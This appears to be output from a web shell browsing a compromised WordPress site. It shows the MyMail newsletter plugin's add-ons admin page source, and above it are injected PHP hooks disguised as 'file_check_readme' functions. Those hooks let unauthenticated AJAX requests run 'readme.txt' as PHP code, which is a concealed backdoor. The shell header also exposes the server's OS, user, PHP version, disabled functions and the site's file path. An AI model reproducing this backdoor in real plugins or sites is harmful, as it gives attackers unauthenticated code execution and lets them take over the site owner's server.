if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_tmp/wp-content/plugins/myMail/views/addons.php
<?php
/**
 *
 *
 * @author Xaver Birsak (https://revaxarts.com)
 * @package
 */


?>
<div class="wrap">

	<h2>MyMail Newsletter Add Ons</h2>

	<h3>Extend the functionality of MyMail</h3>

	<?php

if ( false === ( $addons = get_transient( 'mymail_addons' ) ) ) {
	$url = 'http://mymailapp.github.io/v1/addons.json';

	$response = wp_remote_get( $url, array() );

	$response_code = wp_remote_retrieve_response_code( $response );
	$response_body = wp_remote_retrieve_body( $response );

	if ( $response_code != 200 || is_wp_error( $response ) ) {
		echo '<div class="error below-h2"><p>There was an error retrieving the list from the server.</p></div>'
		;
		switch ( $response_code ) {
		case '403':
			echo '<div class="error below-h2"><p>Seems your host is blocking <strong>' . dirname( $url ) . '</strong>. Please request to white list this domain </p></div>';
			break;
		}

		wp_die();
	}

	$addons = json_decode( $response_body );
	set_transient( 'mymail_addons', $addons, 3600 );
}

?>

	<ul class="addons-wrap">
		<?php foreach ( $addons as $addon ) {
	if ( !empty( $addon->hidden ) ) {
		continue;
	}

	$addon->link = isset( $addon->link ) ? add_query_arg( array(
			'utm_source' => 'MyMail Add On Page',
			'utm_medium' => 'link',
			'utm_campaign' => 'MyMail Add Ons',
		), $addon->link ) : '';
?>
		<li class="mymail-addon <?php if ( !empty( $addon->is_free ) ) {
		echo ' is-free';
	}
	?><?php if ( !empty( $addon->is_feature ) ) {
		echo ' is-feature';
	}
	?>">
			<div class="bgimage" style="background-image:url(<?php echo isset( $addon->image ) ? $addon->image : '' ?>)">
				<?php if ( isset( $addon->wpslug ) ): ?>
					<a href="plugin-install.php?tab=plugin-information&plugin=<?php echo dirname( $addon->wpslug ) ?>&from=import&TB_iframe=true&width=745&height=745" class="thickbox">&nbsp;</a>
				<?php else: ?>
					<a href="<?php echo $addon->link ?>">&nbsp;</a>
				<?php endif;?>
			</div>
			<h4><?php echo $addon->name ?></h4>
			<p class="author">by
			<?php
		if ( $addon->author_url ):
			echo '<a href="' . $addon->author_url . '">' . $addon->author . '</a>';
		else:
			echo $addon->author;
		endif;
?>
			</p>
			<p class="description"><?php echo $addon->description ?></p>
			<div class="action-links">
			<?php if ( !empty( $addon->wpslug ) ): ?>

				<?php if ( is_dir( dirname( WP_PLUGIN_DIR . '/' . $addon->wpslug ) ) ): ?>
					<?php if ( is_plugin_active( $addon->wpslug ) ): ?>
						<a class="button" href="<?php echo wp_nonce_url( 'plugins.php?action=deactivate&amp;plugin=' . $addon->wpslug, 'deactivate-plugin_' . $addon->wpslug ) ?>"><?php esc_html_e( 'Deactivate', 'mymail' );?></a>
					<?php elseif ( is_plugin_inactive( $addon->wpslug ) ): ?>
						<a class="button" href="<?php echo wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . $addon->wpslug, 'activate-plugin_' . $addon->wpslug ) ?>"><?php esc_html_e( 'Activate', 'mymail' );?></a>
					<?php endif;?>
				<?php else: ?>
					<?php if ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ): ?>
						<a class="button button-primary" href="<?php echo wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . dirname( $addon->wpslug ) . '&mymail-addon' ), 'install-plugin_' . dirname( $addon->wpslug ) ); ?>"><?php esc_html_e( 'Install', 'mymail' );?></a>
					<?php endif;?>
				<?php endif;?>

			<?php else: ?>

					<a class="button button-primary" href="<?php echo $addon->link ?>"><?php esc_html_e( 'Purchase', 'mymail' );?></a>

			<?php endif;?>
			</div>
		</li>
		<?php }?>
	</ul>



<div id="ajax-response"></div>
<br class="clear">
</div>